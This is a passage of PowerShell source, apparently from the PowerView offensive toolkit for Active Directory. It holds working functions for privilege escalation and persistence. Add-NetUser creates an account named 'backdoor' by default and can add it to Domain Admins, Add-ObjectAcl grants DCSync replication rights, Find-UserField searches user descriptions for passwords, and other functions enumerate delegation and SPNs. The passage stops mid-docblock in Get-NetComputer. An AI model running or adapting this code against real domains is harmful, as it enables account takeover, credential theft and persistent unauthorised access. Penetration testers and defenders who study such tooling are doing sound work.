Switch. Return users that have unconstrained delegation.

.PARAMETER AllowDelegation

Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetUser -Domain testing

.EXAMPLE

PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local"

#>

param(

[Parameter(Position=0, ValueFromPipeline=$True)]

[String]

$UserName,

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[String]

$Filter,

[Switch]

$SPN,

[Switch]

$AdminCount,

[Switch]

$Unconstrained,

[Switch]

$AllowDelegation,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

begin {

# so this isn't repeated if users are passed on the pipeline

$UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential

}

process {

if($UserSearcher) {

# if we're checking for unconstrained delegation

if($Unconstrained) {

Write-Verbose "Checking for unconstrained delegation"

$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

}

if($AllowDelegation) {

Write-Verbose "Checking for users who can be delegated"

# negation of "Accounts that are sensitive and not trusted for delegation"

$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"

}

if($AdminCount) {

Write-Verbose "Checking for adminCount=1"

$Filter += "(admincount=1)"

}

# check if we're using a username filter or not

if($UserName) {

# samAccountType=805306368 indicates user objects

$UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"

}

elseif($SPN) {

$UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=\*)$Filter)"

}

else {

# filter is something like "(samAccountName=\*blah\*)" if specified

$UserSearcher.filter="(&(samAccountType=805306368)$Filter)"

}

$Results = $UserSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

# convert/process the LDAP fields for each result

$User = Convert-LDAPProperty -Properties $\_.Properties

$User.PSObject.TypeNames.Add('PowerView.User')

$User

}

$Results.dispose()

$UserSearcher.dispose()

}

}

}

function Add-NetUser {

<#

.SYNOPSIS

Adds a domain user or a local user to the current (or remote) machine,

if permissions allow, utilizing the WinNT service provider and

DirectoryServices.AccountManagement, respectively.

The default behavior is to add a user to the local machine.

An optional group name to add the user to can be specified.

.PARAMETER UserName

The username to add. If not given, it defaults to 'backdoor'

.PARAMETER Password

The password to set for the added user. If not given, it defaults to 'Password123!'

.PARAMETER GroupName

Group to optionally add the user to.

.PARAMETER ComputerName

Hostname to add the local user to, defaults to 'localhost'

.PARAMETER Domain

Specified domain to add the user to.

.EXAMPLE

PS C:\> Add-NetUser -UserName john -Password 'Password123!'

Adds a localuser 'john' to the local machine with password of 'Password123!'

.EXAMPLE

PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local

Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group.

.EXAMPLE

PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain ''

Adds the user "john" with password "password" to the current domain and adds

the user to the domain group "Domain Admins"

.EXAMPLE

PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing'

Adds the user "john" with password "password" to the 'testing' domain and adds

the user to the domain group "Domain Admins"

.Link

http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx

#>

[CmdletBinding()]

Param (

[ValidateNotNullOrEmpty()]

[String]

$UserName = 'backdoor',

[ValidateNotNullOrEmpty()]

[String]

$Password = 'Password123!',

[ValidateNotNullOrEmpty()]

[String]

$GroupName,

[ValidateNotNullOrEmpty()]

[Alias('HostName')]

[String]

$ComputerName = 'localhost',

[ValidateNotNullOrEmpty()]

[String]

$Domain

)

if ($Domain) {

$DomainObject = Get-NetDomain -Domain $Domain

if(-not $DomainObject) {

Write-Warning "Error in grabbing $Domain object"

return $Null

}

# add the assembly we need

Add-Type -AssemblyName System.DirectoryServices.AccountManagement

# http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/

# get the domain context

$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject

# create the user object

$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context

# set user properties

$User.Name = $UserName

$User.SamAccountName = $UserName

$User.PasswordNotRequired = $False

$User.SetPassword($Password)

$User.Enabled = $True

Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain"

try {

# commit the user

$User.Save()

"[\*] User $UserName successfully created in domain $Domain"

}

catch {

Write-Warning '[!] User already exists!'

return

}

}

else {

Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName"

# if it's not a domain add, it's a local machine add

$ObjOu = [ADSI]"WinNT://$ComputerName"

$ObjUser = $ObjOu.Create('User', $UserName)

$ObjUser.SetPassword($Password)

# commit the changes to the local machine

try {

$Null = $ObjUser.SetInfo()

"[\*] User $UserName successfully created on host $ComputerName"

}

catch {

Write-Warning '[!] Account already exists!'

return

}

}

# if a group is specified, invoke Add-NetGroupUser and return its value

if ($GroupName) {

# if we're adding the user to a domain

if ($Domain) {

Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain

"[\*] User $UserName successfully added to group $GroupName in domain $Domain"

}

# otherwise, we're adding to a local group

else {

Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName

"[\*] User $UserName successfully added to group $GroupName on host $ComputerName"

}

}

}

function Add-NetGroupUser {

<#

.SYNOPSIS

Adds a user to a domain group or a local group on the current (or remote) machine,

if permissions allow, utilizing the WinNT service provider and

DirectoryServices.AccountManagement, respectively.

.PARAMETER UserName

The domain username to query for.

.PARAMETER GroupName

Group to add the user to.

.PARAMETER ComputerName

Hostname to add the user to, defaults to localhost.

.PARAMETER Domain

Domain to add the user to.

.EXAMPLE

PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators

Adds a localuser "john" to the local group "Administrators"

.EXAMPLE

PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local

Adds the existing user "john" to the domain group "Domain Admins" in "dev.local"

#>

[CmdletBinding()]

param(

[Parameter(Mandatory = $True)]

[ValidateNotNullOrEmpty()]

[String]

$UserName,

[Parameter(Mandatory = $True)]

[ValidateNotNullOrEmpty()]

[String]

$GroupName,

[ValidateNotNullOrEmpty()]

[Alias('HostName')]

[String]

$ComputerName,

[String]

$Domain

)

# add the assembly if we need it

Add-Type -AssemblyName System.DirectoryServices.AccountManagement

# if we're adding to a remote host's local group, use the WinNT provider

if($ComputerName -and ($ComputerName -ne "localhost")) {

try {

Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName"

([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user")

"[\*] User $UserName successfully added to group $GroupName on $ComputerName"

}

catch {

Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName"

return

}

}

# otherwise it's a local machine or domain add

else {

try {

if ($Domain) {

Write-Verbose "Adding user $UserName to $GroupName on domain $Domain"

$CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain

$DomainObject = Get-NetDomain -Domain $Domain

if(-not $DomainObject) {

return $Null

}

# get the full principal context

$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject

}

else {

# otherwise, get the local machine context

Write-Verbose "Adding user $UserName to $GroupName on localhost"

$Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName)

}

# find the particular group

$Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName)

# add the particular user to the group

$Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName)

# commit the changes

$Group.Save()

}

catch {

Write-Warning "Error adding $UserName to $GroupName : $\_"

}

}

}

function Get-UserProperty {

<#

.SYNOPSIS

Returns a list of all user object properties. If a property

name is specified, it returns all [user:property] values.

Taken directly from @obscuresec's post:

http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

.PARAMETER Properties

Property names to extract for users.

.PARAMETER Domain

The domain to query for user properties, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-UserProperty -Domain testing

Returns all user properties for users in the 'testing' domain.

.EXAMPLE

PS C:\> Get-UserProperty -Properties ssn,lastlogon,location

Returns all an array of user/ssn/lastlogin/location combinations

for users in the current domain.

.LINK

http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

#>

[CmdletBinding()]

param(

[String[]]

$Properties,

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

if($Properties) {

# extract out the set of all properties for each object

$Properties = ,"name" + $Properties

Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties

}

else {

# extract out just the property names

Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType \*Property | Select-Object -Property 'Name'

}

}

filter Find-UserField {

<#

.SYNOPSIS

Searches user object fields for a given word (default \*pass\*). Default

field being searched is 'description'.

Taken directly from @obscuresec's post:

http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html

.PARAMETER SearchTerm

Term to search for, default of "pass".

.PARAMETER SearchField

User field to search, default of "description".

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER Domain

Domain to search computer fields for, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Find-UserField -SearchField info -SearchTerm backup

Find user accounts with "backup" in the "info" field.

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[String]

$SearchTerm = 'pass',

[String]

$SearchField = 'description',

[String]

$ADSpath,

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=\*$SearchTerm\*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField

}

filter Get-UserEvent {

<#

.SYNOPSIS

Dump and parse security events relating to an account logon (ID 4624)

or a TGT request event (ID 4768). Intended to be used and tested on

Windows 2008 Domain Controllers.

Admin Reqd? YES

Author: @sixdub

.PARAMETER ComputerName

The computer to get events from. Default: Localhost

.PARAMETER EventType

Either 'logon', 'tgt', or 'all'. Defaults: 'logon'

.PARAMETER DateStart

Filter out all events before this date. Default: 5 days

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local

.LINK

http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/

#>

Param(

[Parameter(ValueFromPipeline=$True)]

[String]

$ComputerName = $Env:ComputerName,

[String]

[ValidateSet("logon","tgt","all")]

$EventType = "logon",

[DateTime]

$DateStart = [DateTime]::Today.AddDays(-5),

[Management.Automation.PSCredential]

$Credential

)

if($EventType.ToLower() -like "logon") {

[Int32[]]$ID = @(4624)

}

elseif($EventType.ToLower() -like "tgt") {

[Int32[]]$ID = @(4768)

}

else {

[Int32[]]$ID = @(4624, 4768)

}

if($Credential) {

Write-Verbose "Using alternative credentials"

$Arguments = @{

'ComputerName' = $ComputerName;

'Credential' = $Credential;

'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};

'ErrorAction' = 'SilentlyContinue';

}

}

else {

$Arguments = @{

'ComputerName' = $ComputerName;

'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};

'ErrorAction' = 'SilentlyContinue';

}

}

# grab all events matching our filter for the specified host

Get-WinEvent @Arguments | ForEach-Object {

if($ID -contains 4624) {

# first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10)

if($\_.message -match '(?s)(?<=Logon Type:).\*?(?=(Impersonation Level:|New Logon:))') {

if($Matches) {

$LogonType = $Matches[0].trim()

$Matches = $Null

}

}

else {

$LogonType = ""

}

# interactive logons or domain logons

if (($LogonType -eq 2) -or ($LogonType -eq 3)) {

try {

# parse and store the account used and the address they came from

if($\_.message -match '(?s)(?<=New Logon:).\*?(?=Process Information:)') {

if($Matches) {

$UserName = $Matches[0].split("`n")[2].split(":")[1].trim()

$Domain = $Matches[0].split("`n")[3].split(":")[1].trim()

$Matches = $Null

}

}

if($\_.message -match '(?s)(?<=Network Information:).\*?(?=Source Port:)') {

if($Matches) {

$Address = $Matches[0].split("`n")[2].split(":")[1].trim()

$Matches = $Null

}

}

# only add if there was account information not for a machine or anonymous logon

if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) {

$LogonEventProperties = @{

'Domain' = $Domain

'ComputerName' = $ComputerName

'Username' = $UserName

'Address' = $Address

'ID' = '4624'

'LogonType' = $LogonType

'Time' = $\_.TimeCreated

}

New-Object -TypeName PSObject -Property $LogonEventProperties

}

}

catch {

Write-Verbose "Error parsing event logs: $\_"

}

}

}

if($ID -contains 4768) {

# the TGT event type

try {

if($\_.message -match '(?s)(?<=Account Information:).\*?(?=Service Information:)') {

if($Matches) {

$Username = $Matches[0].split("`n")[1].split(":")[1].trim()

$Domain = $Matches[0].split("`n")[2].split(":")[1].trim()

$Matches = $Null

}

}

if($\_.message -match '(?s)(?<=Network Information:).\*?(?=Additional Information:)') {

if($Matches) {

$Address = $Matches[0].split("`n")[1].split(":")[-1].trim()

$Matches = $Null

}

}

$LogonEventProperties = @{

'Domain' = $Domain

'ComputerName' = $ComputerName

'Username' = $UserName

'Address' = $Address

'ID' = '4768'

'LogonType' = ''

'Time' = $\_.TimeCreated

}

New-Object -TypeName PSObject -Property $LogonEventProperties

}

catch {

Write-Verbose "Error parsing event logs: $\_"

}

}

}

}

function Get-ObjectAcl {

<#

.SYNOPSIS

Returns the ACLs associated with a specific active directory object.

Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.

.PARAMETER SamAccountName

Object name to filter for.

.PARAMETER Name

Object name to filter for.

.PARAMETER DistinguishedName

Object distinguished name to filter for.

.PARAMETER ResolveGUIDs

Switch. Resolve GUIDs to their display names.

.PARAMETER Filter

A customized ldap filter string to use, e.g. "(description=\*admin\*)"

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER ADSprefix

Prefix to set for the searcher (like "CN=Sites,CN=Configuration")

.PARAMETER RightsFilter

Only return results with the associated rights, "All", "ResetPassword","WriteMembers"

.PARAMETER Domain

The domain to use for the query, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.EXAMPLE

PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local

Get the ACLs for the matt.admin user in the testlab.local domain

.EXAMPLE

PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs

Get the ACLs for the matt.admin user in the testlab.local domain and

resolve relevant GUIDs to their display names.

.EXAMPLE

PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs

Enumerate the ACL permissions for all OUs in the domain.

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipelineByPropertyName=$True)]

[String]

$SamAccountName,

[Parameter(ValueFromPipelineByPropertyName=$True)]

[String]

$Name = "\*",

[Parameter(ValueFromPipelineByPropertyName=$True)]

[String]

$DistinguishedName = "\*",

[Switch]

$ResolveGUIDs,

[String]

$Filter,

[String]

$ADSpath,

[String]

$ADSprefix,

[String]

[ValidateSet("All","ResetPassword","WriteMembers")]

$RightsFilter,

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

begin {

$Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize

# get a GUID -> name mapping

if($ResolveGUIDs) {

$GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize

}

}

process {

if ($Searcher) {

if($SamAccountName) {

$Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"

}

else {

$Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"

}

try {

$Results = $Searcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

$Object = [adsi]($\_.path)

if($Object.distinguishedname) {

$Access = $Object.PsBase.ObjectSecurity.access

$Access | ForEach-Object {

$\_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]

if($Object.objectsid[0]){

$S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value

}

else {

$S = $Null

}

$\_ | Add-Member NoteProperty 'ObjectSID' $S

$\_

}

}

} | ForEach-Object {

if($RightsFilter) {

$GuidFilter = Switch ($RightsFilter) {

"ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }

"WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }

Default { "00000000-0000-0000-0000-000000000000"}

}

if($\_.ObjectType -eq $GuidFilter) { $\_ }

}

else {

$\_

}

} | ForEach-Object {

if($GUIDs) {

# if we're resolving GUIDs, map them them to the resolved hash table

$AclProperties = @{}

$\_.psobject.properties | ForEach-Object {

if( ($\_.Name -eq 'ObjectType') -or ($\_.Name -eq 'InheritedObjectType') ) {

try {

$AclProperties[$\_.Name] = $GUIDS[$\_.Value.toString()]

}

catch {

$AclProperties[$\_.Name] = $\_.Value

}

}

else {

$AclProperties[$\_.Name] = $\_.Value

}

}

New-Object -TypeName PSObject -Property $AclProperties

}

else { $\_ }

}

$Results.dispose()

$Searcher.dispose()

}

catch {

Write-Warning $\_

}

}

}

}

function Add-ObjectAcl {

<#

.SYNOPSIS

Adds an ACL for a specific active directory object.

AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3)

https://adsecurity.org/?p=1906

ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects.

'ResetPassword' doesn't need to know the user's current password

'WriteMembers' allows for the modification of group membership

.PARAMETER TargetSamAccountName

Target object name to filter for.

.PARAMETER TargetName

Target object name to filter for.

.PARAMETER TargetDistinguishedName

Target object distinguished name to filter for.

.PARAMETER TargetFilter

A customized ldap filter string to use to find a target, e.g. "(description=\*admin\*)"

.PARAMETER TargetADSpath

The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

.PARAMETER TargetADSprefix

Prefix to set for the target searcher (like "CN=Sites,CN=Configuration")

.PARAMETER PrincipalSID

The SID of the principal object to add for access.

.PARAMETER PrincipalName

The name of the principal object to add for access.

.PARAMETER PrincipalSamAccountName

The samAccountName of the principal object to add for access.

.PARAMETER Rights

Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync"

.PARAMETER Domain

The domain to use for the target query, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.EXAMPLE

Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john

Grants 'john' all full access rights to the 'matt' account.

.EXAMPLE

Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword

Grants 'john' the right to reset the password for the 'matt' account.

.LINK

https://adsecurity.org/?p=1906

https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell

#>

[CmdletBinding()]

Param (

[String]

$TargetSamAccountName,

[String]

$TargetName = "\*",

[Alias('DN')]

[String]

$TargetDistinguishedName = "\*",

[String]

$TargetFilter,

[String]

$TargetADSpath,

[String]

$TargetADSprefix,

[String]

[ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')]

$PrincipalSID,

[String]

$PrincipalName,

[String]

$PrincipalSamAccountName,

[String]

[ValidateSet("All","ResetPassword","WriteMembers","DCSync")]

$Rights = "All",

[String]

$RightsGUID,

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

begin {

$Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize

if($PrincipalSID) {

$ResolvedPrincipalSID = $PrincipalSID

}

else {

$Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize

if(!$Principal) {

throw "Error resolving principal"

}

$ResolvedPrincipalSID = $Principal.objectsid

}

if(!$ResolvedPrincipalSID) {

throw "Error resolving principal"

}

}

process {

if ($Searcher) {

if($TargetSamAccountName) {

$Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"

}

else {

$Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"

}

try {

$Results = $Searcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

# adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects

$TargetDN = $\_.Properties.distinguishedname

$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID)

$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"

$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"

$ACEs = @()

if($RightsGUID) {

$GUIDs = @($RightsGUID)

}

else {

$GUIDs = Switch ($Rights) {

# ResetPassword doesn't need to know the user's current password

"ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }

# allows for the modification of group membership

"WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }

# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c

# when applied to a domain's ACL, allows for the use of DCSync

"DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"}

}

}

if($GUIDs) {

foreach($GUID in $GUIDs) {

$NewGUID = New-Object Guid $GUID

$ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"

$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType

}

}

else {

# deault to GenericAll rights

$ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"

$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType

}

Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($\_.Properties.distinguishedname)"

try {

# add all the new ACEs to the specified object

ForEach ($ACE in $ACEs) {

Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($\_.Properties.distinguishedname)"

$Object = [adsi]($\_.path)

$Object.PsBase.ObjectSecurity.AddAccessRule($ACE)

$Object.PsBase.commitchanges()

}

}

catch {

Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $\_"

}

}

$Results.dispose()

$Searcher.dispose()

}

catch {

Write-Warning "Error: $\_"

}

}

}

}

function Invoke-ACLScanner {

<#

.SYNOPSIS

Searches for ACLs for specifable AD objects (default to all domain objects)

with a domain sid of > -1000, and have modifiable rights.

Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.

.PARAMETER SamAccountName

Object name to filter for.

.PARAMETER Name

Object name to filter for.

.PARAMETER DistinguishedName

Object distinguished name to filter for.

.PARAMETER Filter

A customized ldap filter string to use, e.g. "(description=\*admin\*)"

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER ADSprefix

Prefix to set for the searcher (like "CN=Sites,CN=Configuration")

.PARAMETER Domain

The domain to use for the query, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ResolveGUIDs

Switch. Resolve GUIDs to their display names.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.EXAMPLE

PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv

Enumerate all modifable ACLs in the current domain, resolving GUIDs to display

names, and export everything to a .csv

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipeline=$True)]

[String]

$SamAccountName,

[String]

$Name = "\*",

[Alias('DN')]

[String]

$DistinguishedName = "\*",

[String]

$Filter,

[String]

$ADSpath,

[String]

$ADSprefix,

[String]

$Domain,

[String]

$DomainController,

[Switch]

$ResolveGUIDs,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

# Get all domain ACLs with the appropriate parameters

Get-ObjectACL @PSBoundParameters | ForEach-Object {

# add in the translated SID for the object identity

$\_ | Add-Member Noteproperty 'IdentitySID' ($\_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value)

$\_

} | Where-Object {

# check for any ACLs with SIDs > -1000

try {

# TODO: change this to a regex for speedup?

[int]($\_.IdentitySid.split("-")[-1]) -ge 1000

}

catch {}

} | Where-Object {

# filter for modifiable rights

($\_.ActiveDirectoryRights -eq "GenericAll") -or ($\_.ActiveDirectoryRights -match "Write") -or ($\_.ActiveDirectoryRights -match "Create") -or ($\_.ActiveDirectoryRights -match "Delete") -or (($\_.ActiveDirectoryRights -match "ExtendedRight") -and ($\_.AccessControlType -eq "Allow"))

}

}

filter Get-GUIDMap {

<#

.SYNOPSIS

Helper to build a hash table of [GUID] -> resolved names

Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx

.PARAMETER Domain

The domain to use for the query, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.LINK

http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx

#>

[CmdletBinding()]

Param (

[Parameter(ValueFromPipeline=$True)]

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}

$SchemaPath = (Get-NetForest).schema.name

$SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize

if($SchemaSearcher) {

$SchemaSearcher.filter = "(schemaIDGUID=\*)"

try {

$Results = $SchemaSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

# convert the GUID

$GUIDs[(New-Object Guid (,$\_.properties.schemaidguid[0])).Guid] = $\_.properties.name[0]

}

$Results.dispose()

$SchemaSearcher.dispose()

}

catch {

Write-Verbose "Error in building GUID map: $\_"

}

}

$RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential

if ($RightsSearcher) {

$RightsSearcher.filter = "(objectClass=controlAccessRight)"

try {

$Results = $RightsSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

# convert the GUID

$GUIDs[$\_.properties.rightsguid[0].toString()] = $\_.properties.name[0]

}

$Results.dispose()

$RightsSearcher.dispose()

}

catch {

Write-Verbose "Error in building GUID map: $\_"

}

}

$GUIDs

}

function Get-NetComputer {

<#

.SYNOPSIS

This function utilizes adsisearcher to query the current AD context

for current computer objects. Based off of Carlos Perez's Audit.psm1

script in Posh-SecMod (link below).

.PARAMETER ComputerName

Return computers with a specific name, wildcards accepted.

.PARAMETER SPN

Return computers with a specific service principal name, wildcards accepted.

.PARAMETER OperatingSystem

Return computers with a specific operating system, wildcards accepted.

.PARAMETER ServicePack

Return computers with a specific service pack, wildcards accepted.

.PARAMETER Filter

A customized ldap filter string to use, e.g. "(description=\*admin\*)"

.PARAMETER Printers

Switch. Return only printers.

.PARAMETER Ping

Switch. Ping each host to ensure it's up before enumerating.

.PARAMETER FullData

Switch. Return full computer objects instead of just system names (the default).

.PARAMETER Domain

The domain to query for computers, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER SiteName

The AD Site name to search for computers.

